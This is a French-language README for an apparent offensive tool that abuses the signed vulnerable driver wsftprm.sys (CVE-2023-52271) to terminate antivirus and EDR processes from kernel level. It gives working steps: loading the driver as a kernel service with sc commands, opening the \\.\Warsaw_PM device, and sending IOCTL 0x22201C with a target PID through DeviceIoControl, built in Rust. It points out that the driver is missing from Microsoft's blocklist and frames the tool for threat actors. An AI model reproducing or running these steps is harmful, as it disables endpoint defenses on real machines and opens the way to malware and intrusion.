
Arrêt des processus AV/EDR en exploitant un pilote vulnérable (BYOVD)
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
Ce projet démontre comment un pilote légitime et signé peut être transformé en arme pour obtenir un accès au niveau noyau.
wsftprm.sys , signé par TPZ SOLUCOES DIGITAIS LTDA, et précédemment exposé à une vulnérabilité d'élévation de privilèges locale divulguée publiquement sous le nom CVE-2023-52271, mais qui, pour une raison quelconque, n'est toujours PAS sur la liste de blocage des pilotes de Microsoft !! 🤫🤫
La vulnérabilité est déclenchée via le code IOCTL 0x22201C avec un tampon de 1036 octets dont les 4 premiers octets contiennent l'ID du processus cible sous forme de DWORD. Le pilote vulnérable, après avoir reçu cet IOCTL malveillant via DeviceIoControl, invoque la fonction importée ZwTerminateProcess, accordant à toute application en mode utilisateur des capacités de terminaison de processus au niveau noyau.
Tout acteur de menace sensé priorisera naturellement cette capacité pour terminer les processus critiques d'antivirus (AV) et de détection et réponse aux endpoints (EDR).
Lancez cmd.exe avec les privilèges d'administrateur et enregistrez un service de pilote noyau avec le type "kernel" et binPath pointant vers l'emplacement du pilote vulnérable.
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
Une fois chargé, le pilote crée un lien symbolique accessible en mode utilisateur sous \.\Warsaw_PM. Que nous pouvons utiliser pour obtenir un handle vers le périphérique du pilote à l'aide de l'appel API CreateFileW.
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
Pour envoyer les IOCTL malveillants, nous utiliserons DeviceIoControl avec le code 0x22201C et un tampon contenant un PID dans ses 4 premiers octets
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release pour générer le binaire.
Vous pouvez ajouter des processus supplémentaires à la liste des cibles à terminer.
Vous êtes responsable de vous assurer que vous disposez des autorisations appropriées avant d'utiliser cet outil. L'auteur décline toute responsabilité en cas d'utilisation abusive.
Les contributions et suggestions sont les bienvenues ! Si vous avez des idées, des améliorations ou souhaitez collaborer, n'hésitez pas à me contacter à : [email protected]